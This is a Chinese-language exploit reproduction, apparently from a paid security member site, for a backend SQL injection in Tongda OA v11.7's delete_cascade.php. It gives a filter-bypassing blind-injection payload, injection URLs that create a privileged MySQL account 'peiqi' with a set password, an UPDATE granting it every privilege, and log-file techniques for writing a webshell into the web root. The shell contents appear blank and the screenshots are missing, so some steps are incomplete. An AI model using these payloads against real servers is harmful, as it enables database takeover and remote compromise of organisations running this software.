通达OA v11.7 后台SQL注入-棉花糖会员站

# 通达OA v11.7后台SQL注入

## 漏洞描述

通达OA v11.7后台存在SQL注入，可通过此漏洞写入恶意后门文件攻击目标服务器

## 漏洞影响

> [!NOTE]
>
> 通达OA v11.7

## 环境搭建

[环境地址](https://cdndown.tongda2000.com/oa/2019/TDOA11.7.exe)

## 漏洞复现

在 **general/hr/manage/query/delete_cascade.php** 文件中

首先判断`$condition_cascade`是否为空，如果不为空，则将其中的`\’`替换为`’`。为什么要这样替换呢，主要是因为V11.7版本中，注册变量时考虑了安全问题，将用户输入的字符用`addslashes`函数进行保护，如下：

**inc/common.inc.php **代码

使用盲注对SQL注入进行测试

触发了通达OA的SQL注入拦截

**inc/conn.php**文件中找到过滤机制如下:

其过滤了一些字符，但是并非无法绕过，盲注的核心是：`substr、if`等函数，均未被过滤，那么只要构造MySQL报错即可配合`if`函数进行盲注了，翻看局外人师傅在补天白帽大会上的分享，发现`power(9999,99)`也可以使数据库报错，所以构造语句：

“`sql
select if((substr(user(),1,1)=’r’),1,power(9999,99)) # 当字符相等时，不报错，错误时报错
“`

添加SQL数据库用户

“`sql
grant all privileges ON mysql.* TO ‘peiqi’@’%’ IDENTIFIED BY ‘peiqiABC@123’ WITH GRANT OPTION
“`

访问 **http://xxx.xxx.xxx.xxx/general/hr/manage/query/delete_cascade.php?condition_cascade=grant all privileges ON mysql.* TO ‘peiqi’@’%’ IDENTIFIED BY ‘peiqiABC@123’ WITH GRANT OPTION**

进入 **Myoa/mysql5/bin** 目录执行 **mysql -upeiqi -p** 输入密码查询所有用户

发现成功执行添加一个账户

然后该用户是对mysql数据库拥有所有权限的,然后给自己加权限：

“`sql
UPDATE `mysql`.`user` SET `Password` = ‘*FBCFBB73CF21D4F464A95E775B40AF27A679CD2D’, `Select_priv` = ‘Y’, `Insert_priv` = ‘Y’, `Update_priv` = ‘Y’, `Delete_priv` = ‘Y’, `Create_priv` = ‘Y’, `Drop_priv` = ‘Y’, `Reload_priv` = ‘Y’, `Shutdown_priv` = ‘Y’, `Process_priv` = ‘Y’, `File_priv` = ‘Y’, `Grant_priv` = ‘Y’, `References_priv` = ‘Y’, `Index_priv` = ‘Y’, `Alter_priv` = ‘Y’, `Show_db_priv` = ‘Y’, `Super_priv` = ‘Y’, `Create_tmp_table_priv` = ‘Y’, `Lock_tables_priv` = ‘Y’, `Execute_priv` = ‘Y’, `Repl_slave_priv` = ‘Y’, `Repl_client_priv` = ‘Y’, `Create_view_priv` = ‘Y’, `Show_view_priv` = ‘Y’, `Create_routine_priv` = ‘Y’, `Alter_routine_priv` = ‘Y’, `Create_user_priv` = ‘Y’, `Event_priv` = ‘Y’, `Trigger_priv` = ‘Y’, `Create_tablespace_priv` = ‘Y’, `ssl_type` = ”, `ssl_cipher` = ”, `x509_issuer` = ”, `x509_subject` = ”, `max_questions` = 0, `max_updates` = 0, `max_connections` = 0, `max_user_connections` = 0, `plugin` = ‘mysql_native_password’, `authentication_string` = ”, `password_expired` = ‘Y’ WHERE `Host` = Cast(‘%’ AS Binary(1)) AND `User` = Cast(‘peiqi’ AS Binary(5));
“`

然后用注入点刷新权限，因为该用户是没有刷新权限的权限的：`general/hr/manage/query/delete_cascade.php?condition_cascade=flush privileges;`这样就拥有了所有权限

登录如果失败，执行

“`sql
grant all privileges ON mysql.* TO ‘peiqi’@’%’ IDENTIFIED BY ‘peiqiABC@123′ WITH GRANT OPTION
“`

利用漏洞写shell

“`sql
# 查路径：
select @@basedir; # F:\OA\mysql5\，那么web目录就是 F:/OA/webroot/
# 方法1：
set global slow_query_log=on;
set global slow_query_log_file=’F:/OA/webroot/’;
select ‘‘ or sleep(11);
# 方法2：
set global general_log = on;
set global general_log_file = ‘F:/OA/webroot/’;
select ‘‘;
show variables like ‘%general%’;
“`

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